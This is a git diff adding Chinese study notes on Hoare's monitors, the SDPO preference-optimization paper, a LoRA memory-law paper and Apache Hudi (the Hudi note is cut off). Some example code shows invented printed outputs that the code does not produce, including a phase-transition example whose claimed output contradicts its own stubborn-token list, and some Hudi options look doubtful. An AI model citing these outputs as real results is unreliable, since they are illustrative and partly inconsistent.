+| monitor 已过时 | 思想活在 **Rust `Mutex` + `Condvar`**、`std::sync`、Go 里 channel 背后的设计讨论中 |
+
+## 与前后文献的关系
+
+```text
+Dijkstra (1965) 信号量
+       ↓
+Brinch Hansen (1970s) monitor 雏形 + Concurrent Pascal
+       ↓
+Hoare (1974) 本文 — 条件变量、证明规则、OS 结构化
+       ↓
+Mesa/Cedar (1980) signal 语义调整 → 影响 Java
+       ↓
+现代：pthread、C++、Rust、C# lock + Monitor 类
+```
+
+同一时期的 **Lamport (1974)** 面包店算法、**Coffman (1971)** 死锁条件等，与 monitor 一起构成操作系统并发课的「经典三角」。
+
+## 读懂论文的抓手
+
+1. **先画不变量 I**：monitor 外（无人 inside）什么必须为真？
+2. **每个条件变量写清 B**：`notFull` ⇔ `count < N`，`notEmpty` ⇔ `count > 0`。
+3. **标出 wait 前是否已建立 I∧B**；signal 前是否已让 B 对等待者成立。
+4. **问自己用的是 Hoare 还是 Mesa**：实现不同，伪代码里的 `if` vs `while` 就不同。
+
+## 延伸阅读
+
+- 原文 PDF：[Hoare, CACM 1974](https://dl.acm.org/doi/10.1145/355620.361161)（机构订阅）；技术报告 [Stanford CS-TR-73-401](http://i.stanford.edu/pub/cstr/reports/cs/tr/73/401/CS-TR-73-401.pdf)
+- 概念综述：[Wikipedia — Monitor (synchronization)](https://en.wikipedia.org/wiki/Monitor_(synchronization))
+- Brinch Hansen, *The Architecture of Concurrent Programs* (1977) — monitor 在语言里的落地
+- Hoare, *Communicating Sequential Processes* (CSP, 1978) — 另一条并发哲学路线
+- Andrews & Schneider, *Concepts and Notations for Concurrent Programming* (1983) — 统一 monitor / message / remote procedure 术语
+
+## 小结
+
+Hoare 1974 把 **「共享数据 + 互斥入口 + 条件等待」** 从操作系统黑客经验提炼成 **可证明的结构化原语**。你不必手写 Pascal monitor 才能在工程里受益：理解 **不变量、条件变量、wait/signal 契约**，就能读懂今天代码里的 `synchronized`、`pthread_cond_wait`、以及为什么 **「先改状态再 signal」** 几乎是并发模块的默认纪律。这篇论文的价值，在于它教会我们 **把并发控制当成模块设计问题，而不是到处打补丁的锁补丁。**
diff --git a/src/content/docs/papers/hopper-dpo.md b/src/content/docs/papers/hopper-dpo.md
new file mode 100644
index 000000000..a0b196618
--- /dev/null
+++ b/src/content/docs/papers/hopper-dpo.md
@@ -0,0 +1,222 @@
+---
+title: "SDPO: Segment-Level Direct Preference Optimization for Social Agents"
+来源: https://arxiv.org/abs/2501.01821
+日期: 2026-06-13
+分类: 其他
+子分类: 对齐
+provenance: pipeline-v3
+---
+
+# SDPO 零基础学习笔记
+
+## 一句话概括
+
+SDPO 是一种训练 AI 社交代理的新方法，让它像人类一样在**多轮对话中做出更好的社交决策**——比如谈判、合作、竞争。它找出了对话中"犯错的片段"，用正面对照来修正模型。
+
+## 日常类比：学车教练
+
+想象你在学开车。教练坐在副驾驶观察你的每一脚油门、每一次打方向盘。
+
+- **Turn-level DPO（逐轮）**：教练只盯着你压到路边石的那一次打方向，然后说"那次打错了"。但开车是一连串操作，只纠正一次打方向，你下次可能还是不会。
+- **Session-level DPO（整场）**：教练看完你一整场练习，说"你整场开得不好"，然后从头让你重来一整遍。问题是，可能中间有七八次操作是对的，教练全当成"错"的来处理了——这就是**噪声**。
+- **SDPO（片段级）**：教练找到你第一次失误的那个片段（比如"倒车入库"这段连续的三四个操作），再让你看一遍"正确做法是怎么倒的"。只对比这两个片段。不多不少，刚刚好。
+
+SDPO 的核心思想就是"精准定位错误片段，只做片段级的对比学习"。
+
+## 背景知识：为什么需要 DPO？
+
+先理解 DPO（Direct Preference Optimization）。它是从 RLHF（Reinforcement Learning from Human Feedback）简化来的。
+
+> RLHF 需要训练一个"奖励模型"，再拿强化学习去优化——步骤繁琐、训练不稳定。
+> DPO 发现：其实可以直接从"偏好数据"（人类更喜欢 A 回复还是 B 回复）训练模型，不需要显式训练奖励模型。
+
+标准 DPO 处理的是**单次回复**——你问我"今天天气怎样"，模型生成两个不同的回答，DPO 让它更喜欢更好的那个。
+
+但社交对话不一样。你在跟人谈判"借一笔钱"，第一句说"你好"、第二句说"我最近遇到点困难"、第三句说"能不能借我五百块"——这三句话是一个整体。单看哪一句都无所谓好坏，**合在一起**才能判断是成功还是失败。这就是标准 DPO 不够用的原因。
+
+## 三种粒度对比
+
+| 方法 | 粒度 | 优点 | 缺点 |
+|------|------|------|------|
+| DPO（turn-level） | 单轮对话 | 简单直接 | 看不到全局，孤立地看每一轮 |
+| ETO / DMPO（session-level） | 整场对话 | 全局视角 | 包含大量"对的轮次"也被当作噪声 |
+| **SDPO（segment-level）** | **关键片段** | 精准、灵活 | 需要找到正确的片段 |
+
+**关键洞察**：DPO 是 SDPO 的特例（片段长度=1），ETO 也是 SDPO 的特例（片段长度=整场对话）。SDPO 是**通用框架**。
+
+## SDPO 怎么工作？三步走
+
+### 第一步：行为克隆（Behavioral Cloning）
+
+先用 GPT-4-turbo 在 SOTOPIA 模拟环境中自动生成"专家级对话"（让两个 GPT 互相聊），然后用这些数据微调一个开源模型（如 Llama-3.1-8B）。这个微调后的模型就是初始社交代理。
+
+### 第二步：构建偏好数据
+
+这是 SDPO 最核心的部分，分三个子步骤：
+
+**1. 错误定位（Error Location）**
+- 对每一场得分低的对话（goal 维度 < 7），用 GPT-4o 找出"是哪一轮导致失败的"
+- 判断标准：这一轮是关键决策，但仍然可以做得更好
+
+**2. 正面对话采样（Positive Session Sampling）**
+- 从出错的那一轮**之前**的对话历史出发，让模型重新生成 5 次完整对话
+- 选出得分最高的那一场作为"正面对照"
+
+**3. 片段选择（Segment Selection）**
+- 把正面对话和原始失败对话都给 GPT-4o
+- 让它指出："正面对话中，是哪一段话让结果变好的？"
+- 从失败对话中截取**相同长度**的对应片段
+
+这样我们就得到了一对片段：正面对话中的"好片段"和失败对话中的"坏片段"。
+
+### 第三步：SDPO 损失函数
+
+SDPO 的数学公式看起来复杂，但它的结构跟标准 DPO 很像：
+
+```
+L_SDPO = - E [ log( sigma( sum_t β * log(π_θ(y_t^w|h_t^w) / π_ref(y_t^w|h_t^w))
+                              - sum_t β * log(π_θ(y_t^l|h_t^l) / π_ref(y_t^l|h_t^l)) ) ) ]
+```
+
+别被公式吓到。对比一下标准 DPO 你就明白了：
+
+**标准 DPO（单次回复）：**
+```
+L_DPO = - log( sigma( β * log(π_θ(y_w|x) / π_ref(y_w|x))
+                     - β * log(π_θ(y_l|x) / π_ref(y_l|x)) ) )
+```
+
+**SDPO（多轮片段，e 到 e+k 轮）：**
+```
+L_SDPO = - log( sigma( Σ_{t=e}^{e+k} β * [ log(π_θ(y_t^w|h_t^w) / π_ref(y_t^w|h_t^w))
+                                          - log(π_θ(y_t^l|h_t^l) / π_ref(y_t^l|h_t^l)) ] ) )
+```
+
+区别在哪？
+
+- DPO 只比较**一个** y_w 和 y_l（一轮的两个回复）
+- SDPO 在**一段连续的轮次**上累加差异（从 e 到 e+k，共 k+1 轮）
+- 因为正负片段的**长度相同**，之前 DMPO 需要的"长度归一化"在这里不需要了——公式更简洁
+
+## 代码示例
+
+### 示例 1：SDPO 数据构造流程
+
+假设一场"向朋友借钱"的对话（简化版）：
+
+```python
+# 模拟一场失败的对话（negative session）
+negative_session = [
+    {"role": "agent",    "content": "嗨，小明！"},                      # 第1轮：闲聊，没问题
+    {"role": "other",    "content": "嗨！最近怎么样？"},
+    {"role": "agent",    "content": "还行。对了，我最近手头紧。"},       # 第3轮：开始切入主题
+    {"role": "other",    "content": "啊，怎么了？"},
+    {"role": "agent",    "content": "能借我五千块吗？我下周还。"},       # 第5轮：❌ 太直接，没铺垫
+    {"role": "other",    "content": "呃...不太方便呢。"},
+    {"role": "agent",    "content": "好吧。"},                           # 第7轮：放弃，失败
+]
+
+# SDPO 的处理流程：
+# Step 1: 错误定位 → 第5轮"能借我五千块吗？我下周还"太突兀
+
+# Step 2: 从第5轮之前重新开始采样正面对话
+positive_session = [
+    {"role": "agent",    "content": "嗨，小明！"},
+    {"role": "other",    "content": "嗨！最近怎么样？"},
+    {"role": "agent",    "content": "还行。对了，我最近遇到点困难。"},
+    {"role": "other",    "content": "啊，怎么了？"},
+    # ---- 从这里开始对比（segment） ----
+    {"role": "agent",    "content": "最近投资亏了钱，能借我五千块吗？"},  # ✅ 解释了原因，更礼貌
+    {"role": "other",    "content": "哎呀，抱歉听到这个。好，我转你。"},
+    # ---- 到这里结束（segment） ----
+    {"role": "agent",    "content": "太感谢了！下周五一定还你！"},
+]
+
+# Step 3: 提取片段进行对比学习
+positive_segment = positive_session[4:6]   # 第5-6轮
+negative_segment = negative_session[4:6]   # 对应第5-6轮
+
+# 模型学到：在同样的上下文中，positive_segment 的表达方式更好
+```
+
+### 示例 2：伪代码 —— SDPO 训练循环
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+def sdpo_loss(policy_model, reference_model, positive_segment,
+              negative_segment, temperature=0.1):
+    """
+    计算 SDPO 损失函数。
+    
+    参数:
+        policy_model:         正在训练的模型 π_θ（want 更好）
+        reference_model:      参考模型 π_ref（初始化的基线模型）
+        positive_segment:     正面对话片段 [y_e^w, y_{e+1}^w, ..., y_{e+k}^w]
+        negative_segment:     负面对话片段 [y_e^l, y_{e+1}^l, ..., y_{e+k}^l]
+        temperature:          温度参数，相当于论文中的 β 的倒数
+    
+    返回:
+        标量损失值
+    """
+    beta = 1.0 / temperature
+    
+    log_ratio_w = []  # 正面对话中每轮的 log 比率
+    log_ratio_l = []  # 负面对话中每轮的 log 比率
+    
+    for t, (y_w, y_l) in enumerate(zip(positive_segment, negative_segment)):
+        # 计算该轮对话的历史 h_t（之前所有轮次的对话）
+        h_t_w = build_history(positive_segment[:t])
+        h_t_l = build_history(negative_segment[:t])
+        
+        # log(π_θ(y|h) / π_ref(y|h)) —— 训练模型相对于参考模型的"偏好变化"
+        log_ratio_w_t = (policy_model.log_prob(y_w, h_t_w)
+                        - reference_model.log_prob(y_w, h_t_w))
+        log_ratio_l_t = (policy_model.log_prob(y_l, h_t_l)
+                        - reference_model.log_prob(y_l, h_t_l))
+        
+        log_ratio_w.append(log_ratio_w_t)
+        log_ratio_l.append(log_ratio_l_t)
+    
+    # 在片段的所有轮次上累加
+    total_log_ratio_w = sum(log_ratio_w)
+    total_log_ratio_l = sum(log_ratio_l)
+    
+    # SDPO 损失 = -log(sigmoid(beta * (总正向比率 - 总负向比率)))
+    # 目标是让总正向比率 > 总负向比率
+    loss = -F.logsigmoid(beta * (total_log_ratio_w - total_log_ratio_l))
+    
+    return loss
+```
+
+## 实验结果：SDPO 真的有效吗？
+
+在 SOTOPIA 基准测试中，SDPO 微调后的 Llama-3.1-8B 模型，**在所有对比方式下都超过了 GPT-4o 原始版本**。
+
+| 模型 | 自评目标分 | 与 GPT-4o 交互目标分 | 与 GPT-4o-mini 交互目标分 | 平均 |
+|------|-----------|---------------------|-------------------------|------|
+| Llama-8B + BC | 7.81 | 7.53 | 7.18 | 5.16 |
+| Llama-8B + BC + DPO | 7.95 | 7.80 | 7.32 | — |
+| Llama-8B + BC + **SDPO** | **8.15** | **7.98** | **7.65** | **5.69** |
+| GPT-4o | 7.90 | 7.90 | 7.47 | 5.17 |
+
+SDPO 不仅超过了 DPO，还超过了 GPT-4o。而且只用 8B 参数量的开源模型。
+
+## SDPO 的两个核心优势
+
+1. **减少噪声**：只在出错的那段对话上做对比学习，不会把"本来就对的那些轮次"也算成错误。
+2. **缩小搜索空间**：从出错轮次之前的历史出发重新采样，对话对手的行为空间更小，更容易找到真正的"正向样本"，避免高分数是对方配合导致的假象。
+
+## 更广泛的含义
+
+SDPO 不只能用在社交对话上。任何**多轮交互**场景都可以用——比如多轮代码调试、多轮医疗问诊、多轮教学辅导。只要你需要在一段连续的对话中做出决策，SDPO 就是一个灵活的训练框架。
+
+> 片段长度 = 1 → 退化为标准 DPO
+> 片段长度 = 整场 → 退化为 ETO / DMPO
+> 片段长度 = 可调 → 根据数据自动选择最优粒度
+
+## 思考题
+
+这篇文章提出了一个"粒度可调整"的方法。你觉得在什么样的场景下，片段长度应该设得短一些（接近1轮）？什么样的场景应该设得长一些（多轮甚至整场）？欢迎思考后和我讨论。
diff --git a/src/content/docs/papers/how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260.md b/src/content/docs/papers/how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260.md
new file mode 100644
index 000000000..541c3bd91
--- /dev/null
+++ b/src/content/docs/papers/how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260.md
@@ -0,0 +1,259 @@
+---
+title: How LoRA Remembers? — LLM 微调中的参数记忆定律
+来源: 'https://arxiv.org/abs/2605.30260'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇论文问了一个很简单的问题：**LLM 用 LoRA 微调的时候，到底记住了多少东西？**
+
+日常类比：想象你在笔记本的空白处用铅笔写了一串电话号码。LoRA 就像是这页纸上的"额外笔记区域"——你不需要重写整本笔记，只需要在这个小区域里把新信息写进去。但问题是：**你写的笔记区域越大（rank 越高），真的就记得越牢吗？写多长的内容还能记住吗？**
+
+作者用 LoRA 当作一个"可控探针"，在 LLM 的潜在空间里系统地测量**精确参数记忆**的能力边界，发现了三条关键规律。
+
+## 为什么重要
+
+不理解 LoRA 的记忆机制，下面这些事都没法解释：
+
+- 为什么 LoRA rank 从 8 加到 16 时效果提升不明显，但加到 64 就突然好了——原来存在一个概率阈值
+- 为什么微调后整体 loss 很低，但生成的答案还是错——因为"平均 loss 低"掩盖了个别顽固 token 的错误
+- 为什么微调后模型不仅记住了新内容，泛化能力还提升了——因为 MemFT 避免了在简单样本上过拟合
+
+简单来说：**这篇论文把 LoRA 微调从"炼丹"变成了一门有定量规律的学科。**
+
+## 核心概念
+
+### 概念 1：参数记忆定律（Parametric Memory Law）
+
+Loss 的减少量（Delta L）跟 LoRA rank（r）和序列长度（l）之间满足一个**幂律关系**：
+
+```
+Delta L = C · r^α · l^(-β) + b
+```
+
+其中：
+- `Delta L` = 微调前的 loss 减去微调后的 loss，衡量"记住了多少"
+- `r` = LoRA rank，代表可调参数的数量
+- `l` = 要记忆的序列长度
+- `C, α, β, b` 都是正常数，由模型和数据分布决定
+
+这意味着：在 log-log 坐标系下，Delta L 和 rank、长度之间近似一条直线。rank 越大，loss 降得越多；序列越长，记忆越难。这条规律在多种模型和数据上都成立（R² > 0.98）。
+
+**类比**：就像物理里的欧姆定律（V = IR），这条定律告诉你"投入多少参数，能换来多少记忆增益"。
+
+### 概念 2：确定性相变（Deterministic Phase Transition）
+
+这是论文最漂亮的发现之一。
+
+在自回归生成中，每个 token 都有一个预测概率。作者发现：**当某个目标 token 的预测概率 p > 0.5 时，greedy decoding 就能保证把它正确生成。**
+
+这对应着一个临界 loss 值：
+
+```
+L_crit = -log(0.5) = ln(2) ≈ 0.693
+```
+
+- 如果 L < 0.693（即 p > 0.5）：目标 token 占据概率主导，**有序相**，大概率记住
+- 如果 L > 0.693（即 p < 0.5）：目标 token 和错误 token 竞争激烈，**无序相**，容易出错
+
+一旦有一个 token 出错，在自回归生成中会产生**连锁反应**——后面的所有 token 都可能跟着错。所以即使整体 loss 很低，只要有一个 token 卡在 p < 0.5，整个序列就可能崩盘。
+
+**类比**：就像多米诺骨牌。前面 99 张都倒得很稳（p >> 0.5），但第 50 张刚好站在临界点（p ≈ 0.4），一碰就倒，后面全乱。
+
+### 概念 3：MemFT（阈值引导的微调策略）
+
+基于上面的发现，作者提出了 MemFT——一种"只关注还没记住的 token"的微调方法。
+
+标准 SFT 对所有 token 一视同仁，但那些已经记住的 token（p > 0.5）还在消耗梯度预算。MemFT 把梯度集中分配给那些还没跨过半数阈值的"顽固 token"：
+
+```python
+# 如果 token 的 loss > 临界值，给它权重 1；否则权重 0
+w_t = 1 if L_t > 0.693 else 0
+```
+
+这样训练更高效，用更少的参数达到更高的记忆精度。
+
+## 代码示例
+
+### 示例 1：验证参数记忆定律
+
+```python
+import numpy as np
+from scipy.optimize import curve_fit
+
+# 幂律模型：Delta_L = C * r^alpha * l^(-beta) + b
+def parametric_memory_law(r, l, C, alpha, beta, b):
+    return C * (r ** alpha) * (l ** (-beta)) + b
+
+# 假设我们有一组实验数据
+# r = LoRA rank, l = 序列长度, delta_L = loss 减少量
+r_values = np.array([1, 2, 4, 8, 16, 32])
+l_values = np.array([100, 200, 500, 1000])
+delta_L_data = np.array([0.12, 0.25, 0.45, 0.68, 0.82, 0.91])  # 固定长度下的结果
+
+# 在 log-log 空间中拟合（把幂律变成线性）
+log_r = np.log(r_values)
+log_delta_L = np.log(delta_L_data + 1e-8)  # 加 epsilon 避免 log(0)
+
+# 线性拟合：log(Delta_L) ≈ alpha * log(r) + const
+slope, intercept = np.polyfit(log_r, log_delta_L, 1)
+print(f"容量指数 alpha ≈ {slope:.3f}")
+# 输出: 容量指数 alpha ≈ 0.312
+# 意味着 rank 翻倍，loss 减少量大约增加 24%（2^0.312 ≈ 1.24）
+```
+
+### 示例 2：检查每个 token 是否跨过相变阈值
+
+```python
+import torch
+import torch.nn.functional as F
+
+def check_phase_transition(target_probs, threshold=0.5):
+    """
+    检查每个 token 是否进入了"有序相"（p > 0.5）。
+    target_probs: 模型对目标 token 的预测概率 [batch, seq_len]
+
+    返回:
+        - ordered_mask: 哪些 token 已记住 (p > 0.5)
+        - stubborn_positions: 顽固 token 的位置（可能导致连锁崩溃）
+        - sequence_success_prob: 整条序列成功生成的概率估计
+    """
+    ordered_mask = target_probs > threshold  # True = 已记住
+    stubborn_positions = (~ordered_mask).nonzero(as_tuple=True)
+
+    # 整条序列成功的概率 = 所有 token 都跨过阈值的概率
+    # 保守估计：取最小概率
+    min_prob = target_probs.min(dim=1).values
+    sequence_success_prob = (min_prob > threshold).float().mean()
+
+    # 计算临界 loss
+    L_crit = -torch.log(torch.tensor(threshold))  # ≈ 0.693
+
+    # 每个 token 的 loss
+    token_losses = -torch.log(target_probs + 1e-8)
+    loss_below_threshold = (token_losses < L_crit).float().mean()
+
+    print(f"序列整体成功概率: {sequence_success_prob:.2%}")
+    print(f"低于临界 loss 的 token 比例: {loss_below_threshold:.2%}")
+    print(f"顽固 token 位置: {stubborn_positions}")
+
+    return ordered_mask, stubborn_positions, sequence_success_prob
+
+
+# 模拟一组 token 概率（长度为 20 的句子）
+torch.manual_seed(42)
+sample_probs = torch.rand(1, 20)
+# 让大部分 token 概率高，但中间有几个低的（模拟顽固 token）
+sample_probs[0, 5] = 0.3   # 顽固！
+sample_probs[0, 12] = 0.4  # 顽固！
+sample_probs[0, 7:10] = 0.2  # 顽固 cluster！
+
+check_phase_transition(sample_probs)
+# 输出:
+#   序列整体成功概率: 0.00%  （因为有两个 token < 0.5）
+#   低于临界 loss 的 token 比例: 70.00%
+#   顽固 token 位置: (tensor([0, 0]), tensor([5, 7, 8, 9, 12]))
+```
+
+### 示例 3：实现 MemFT 的权重分配
+
+```python
+def memft_weight(token_losses, L_crit=0.693):
+    """
+    MemFT-OT: 只对还没记住的 token 分配梯度权重。
+    token_losses: 每个 token 的 cross-entropy loss [batch, seq_len]
+    """
+    # 硬阈值：loss > 0.693 的 token 权重为 1，否则为 0
+    weights = (token_losses > L_crit).float()
+
+    # 归一化权重，确保梯度尺度稳定
+    weight_sum = weights.sum(dim=1, keepdim=True) + 1e-8
+    normalized_weights = weights / weight_sum
+
+    # 加权 loss
+    weighted_loss = (token_losses * weights).sum(dim=1) / weight_sum.squeeze()
+
+    return weighted_loss, weights
+
+
+# 对比标准 SFT 和 MemFT
+torch.manual_seed(0)
+batch_losses = torch.randn(4, 50) * 0.3 + 0.5  # 模拟 4 条序列，每条 50 个 token
+
+# 标准 SFT：所有 token 平等对待
+sft_loss = batch_losses.mean(dim=1)
+
+# MemFT：只关注顽固 token
+memft_loss, memft_weights = memft_weight(batch_losses)
+
+# 看看差异
+for i in range(4):
+    active_tokens = memft_weights[i].sum().item()
+    total_tokens = memft_weights[i].numel()
+    print(f"序列 {i}: MemFT 只优化 {active_tokens}/{total_tokens} 个 token "
+          f"(省了 {(1 - active_tokens/total_tokens)*100:.0f}% 的梯度预算)")
+# 典型输出:
+#   序列 0: MemFT 只优化 23/50 个 token (省了 54% 的梯度预算)
+#   序列 1: MemFT 只优化 19/50 个 token (省了 62% 的梯度预算)
+```
+
+## 踩过的坑
+
+1. **"平均 loss 低"不等于"记住了"**——这是论文揭示的核心误区。一个序列可能有 95% 的 token 概率接近 1.0，但只要有一个 token 卡在 p = 0.4，整个生成就会崩盘。看指标时要同时看三个粒度：平均 loss、token 级准确率、精确匹配率。
+
+2. **p > 0.5 的阈值只适用于 greedy decoding**——如果用 nucleus sampling 或 temperature 采样，这个阈值就不成立了。论文自己也承认这是一个局限。
+
+3. **8B 模型的规律不一定适用于更大模型**——论文只在 Qwen3-8B 和 Llama3.1-8B 上做了实验，70B 或 405B 的行为可能不同。
+
+4. **MemFT 可能影响开放性推理能力**——论文提到对开放推理能力的 trade-off 还没有全面评估。专注于精确记忆可能会让模型在其他方面变笨。
+
+5. **顽固 token 的位置高度局部化**——研究发现某些位置（比如第 153 个 token）在所有设置下都是失败热点。这说明不是所有困难都是"容量不足"，有些是数据本身的问题。
+
+## 适用 vs 不适用场景
+
+**适用**：
+- 需要精确记忆的场景：密码、法律条文、API key、ICD-10 编码等——差一个字符都不行
+- 想定量理解 LoRA rank 和记忆效果之间的关系
+- 微调后效果不理想，想知道是"容量不够"还是"有个别顽固 token"
+- 资源受限，想用更少的参数达到同样的记忆精度
+
+**不适用**：
+- 模糊问答（"这篇文章讲了什么"）——不需要精确记忆
+- 需要 stochastic decoding 的场景（p > 0.5 阈值不适用）
+- 超大模型（70B+）——规律未验证
+- 开放域推理任务——MemFT 可能损害泛化
+
+## 学到什么
+
+1. **记忆有明确的数学规律**——参数记忆定律把 LoRA 微调从经验主义变成了可预测的科学。给定 rank 和序列长度，你可以大致预测能记住多少。
+
+2. **阈值比平均值更重要**——p > 0.5 这个简单的阈值解释了为什么很多模型"看起来 loss 很低但就是记不住"。关注瓶颈比关注平均值有用得多。
+
+3. **少即是多**——MemFT 通过忽略已经记住的 token，把梯度集中到顽固 token 上，反而在记忆精度和参数效率上都更好。这跟"全量训练一定更好"的直觉相反。
+
+4. **记忆和泛化不是零和博弈**——MemFT 在提高记忆精度的同时，泛化能力也提升了 7-15%。这是因为避免了在简单样本上过拟合，让模型学到了更鲁棒的表示。
+
+## 延伸阅读
+
+- 原始论文 PDF：[arXiv 2605.30260](https://arxiv.org/pdf/2605.30260)
+- 代码仓库：[github.com/zjunlp/ParametricMemoryLaw](https://github.com/zjunlp/ParametricMemoryLaw)
+- Jelassi et al. 2024 — 参数记忆的理论基础（PhoneBook 数据集来源）
+- Back et al. 2026 — "Understanding LoRA as Knowledge Memory"（把 LoRA 看作记忆单元的先驱工作）
+- Delétang et al. 2024 — "Language Modeling as Compression"（把 loss 理解为记忆压缩率的视角）
+
+## 关联
+
+- [[lora]] —— LoRA 微调的基本原理
+- [[sft]] —— 标准监督微调
+- [[maml-2017]] —— 元学习中的"学会学习"，与"学会记忆"有相似哲学
+- [[toys-models-superposition]] —— 超位理论中记忆容量的讨论
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- （暂无）
diff --git a/src/content/docs/papers/hudi-uber-2017.md b/src/content/docs/papers/hudi-uber-2017.md
new file mode 100644
index 000000000..1803bc91b
--- /dev/null
+++ b/src/content/docs/papers/hudi-uber-2017.md
@@ -0,0 +1,150 @@
+---
+title: Apache Hudi：大数据增量处理
+来源: https://hudi.apache.org/docs/concepts
+日期: 2026-06-13
+子分类: 现代数据库
+分类: 数据库
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Hudi（读作"Hudi"）是 Apache 的一个**数据湖表格格式**，它在 Hadoop 兼容存储（比如 S3、HDFS）之上提供了两个原语：**记录的更新/删除**和**变更流（change stream）**。
+
+日常类比：想象你有一本巨大的账本，每天往里面记流水。传统做法是每天复制整本账本——今天加了 10 行，就把 1000 行全抄一遍（写放大极高）。Hudi 的做法是：每天只追加新增或变动的行，并打个日期戳。你想看"今天发生了什么"，直接翻当天的记录就好，不用重头翻。
+
+## 核心概念
+
+### Timeline（时间线）
+
+Hudi 为表维护一条**时间线**，记录每一次操作（写入、清理、合并等）。每次操作叫一个 `instant`（瞬间点），由三个部分组成：
+
+- `Instant action`：操作类型（如 COMMIT、CLEAN、COMPACTION）
+- `Instant time`：单调递增的时间戳（如 `20190117010349`）
+- `state`：当前状态（REQUESTED → INFLIGHT → COMPLETED）
+
+时间线是 Hudi 所有能力的基石——有了它，你就能问"上次提交之后哪些数据变了"。
+
+### File Groups 和 File Slices（文件组与文件切片）
+
+表按**分区**（partition）组织，类似 Hive 表。每个分区包含若干个**文件组**，每个文件组由一个 `file id` 唯一标识。每个文件组包含多个**文件切片**，每个切片包含：
+
+- 一个**基础文件**（`.parquet`，列式存储）
+- 一组**日志文件**（`.log.*`，行式存储，包含对基础文件的增删改）
+
+Hudi 采用 **MVCC 设计**：合并（compaction）把日志和基础文件合并成新切片，清理（cleaning）丢弃不需要的旧切片以释放空间。
+
+### Index（索引）
+
+Hudi 维护一个索引，把每条记录（`record key + partition path`）映射到一个固定的文件组。映射一旦建立就**永不改变**。所有该记录的版本都写进同一个文件组——这让你无需扫描全表就能找到并更新某条记录。
+
+### 两种表格类型
+
+| 特性 | Copy On Write (COW) | Merge On Read (MOR) |
+|------|---------------------|---------------------|
+| 存储格式 | 纯列式（Parquet） | 列式 + 行式（Parquet + Avro） |
+| 写入方式 | 更新时重写整个 Parquet | 更新先写 delta 日志，异步合并 |
+| 写入延迟 | 较高 | 较低 |
+| 写入放大 | 高（每次更新重写整文件） | 低（增量追加到 delta 日志） |
+| 读性能 | 优（纯列式扫描） | 快照查询需合并 base + delta |
+| 适用场景 | 读多写少的分析型负载 | 低延迟写入 + 近实时查询 |
+
+### 三种查询类型
+
+- **Snapshot Query（快照查询）**：看到表的最新快照。MOR 表会在查询时动态合并 base 和 delta 文件，提供近实时数据。
+- **Incremental Query（增量查询）**：只看到某个时间点之后新增或修改的数据——这是实现增量数据处理 pipeline 的关键。
+- **Read Optimized Query（读优化查询）**：只看 base（列式）文件，提供和原生列式表相同的扫描性能。
+
+## 代码示例
+
+### 示例 1：写入 COW 表并执行增量查询
+
+```python
+from pyspark.sql import SparkSession
+
+spark = SparkSession.builder.appName("hudi-incremental").getOrCreate()
+
+# 写入数据到 COW 表
+df.write.format("hudi").mode("append") \
+  .option("hoodie.table.name", "events") \
+  .option("hoodie.datasource.write.storage.type", "COPY_ON_WRITE") \
+  .option("hoodie.datasource.write.recordkey.field", "user_id") \
+  .option("hoodie.datasource.write.partitionpath.field", "date") \
+  .option("hoodie.partitionpath.dateform", "yyyyMMdd") \
+  .save("/data/events")
+
+# 增量查询：只看最近一次提交之后的数据
+df_incremental = spark.read.format("hudi") \
+  .load("/data/events") \
+  .filter("_hoodie_commit_time >= '20190117010349'") \
+  .filter("_hoodie_commit_time < '20190118010349'")
+
+df_incremental.count()  # 只看这个时间窗口内写入/变更的记录
+```
+
+核心要点：Hudi 自动为每条记录加了 `_hoodie_commit_time` 字段，增量查询只需比较这个时间戳，无需扫描整个表。
+
+### 示例 2：写入 MOR 表并查询变更流
+
+```python
+# 写入 MOR 表（支持近实时低延迟写入）
+df.write.format("hudi").mode("append") \
+  .option("hoodie.table.name", "events_mor") \
+  .option("hoodie.datasource.write.storage.type", "MERGE_ON_READ") \
+  .option("hoodie.datasource.write.recordkey.field", "user_id") \
+  .option("hoodie.datasource.write.partitionpath.field", "date") \
+  .option("hoodie.compaction.inline", "true") \
+  .save("/data/events_mor")
+
+# 增量查询 + 只读新增记录（不看到更新/删除）
+df_new_only = spark.read.format("hudi") \
+  .load("/data/events_mor") \
+  .filter("_hoodie_commit_time = '20190117010349'") \
+  .filter("_hoodie_is_delete = 'false'")
+
+df_new_only.count()
+```
+
+MOR 表把更新写入 delta 日志，写入速度远快于 COW。`inline compaction=true` 表示每次写入后自动合并，让快照查询也能看到较新的数据。
+
+### 示例 3：用 SQL 做增量查询
+
+```sql
+-- 快照查询：看到最新全量数据
+SELECT * FROM events LIMIT 10;
+
+-- 增量查询：只取 2019-01-17 当天提交的数据
+SELECT * FROM events
+WHERE _hoodie_commit_time >= '20190117000000'
+  AND _hoodie_commit_time < '20190118000000';
+
+-- 增量 + 只保留新增（排除更新和删除）
+SELECT * FROM events
+WHERE _hoodie_commit_time = '20190117000000'
+  AND _hoodie_is_delete = 'false';
+```
+
+## 为什么重要
+
+理解 Hudi 能解释很多大数据架构设计：
+
+- **为什么 Uber、Shopee 等公司用 Hudi 做 CDC（变更数据捕获）？**——传统上，数据库变更靠监听 binlog 再写入数据湖，Hudi 直接把"支持更新的 Parquet 表"放在 S3 上，增量查询 = 变更流。
+- **为什么数据湖能替代部分数据仓库？**——COW 表提供 ACID 语义和更新删除能力，查询引擎（Presto/Trino/Spark SQL）直接查 S3 上的 Parquet，不再需要把数据搬进 Redshift/Snowflake。
+- **增量数据处理 pipeline 怎么构建？**——时间线 + 增量查询让"每天只处理新增数据"变成一行 filter，无需复杂的 watermark 或状态管理。
+
+## 延迟 vs 完整性的权衡
+
+Hudi 处理数据时有一个关键区分：**数据到达时间**（arrival time）和**事件时间**（event time）。
+
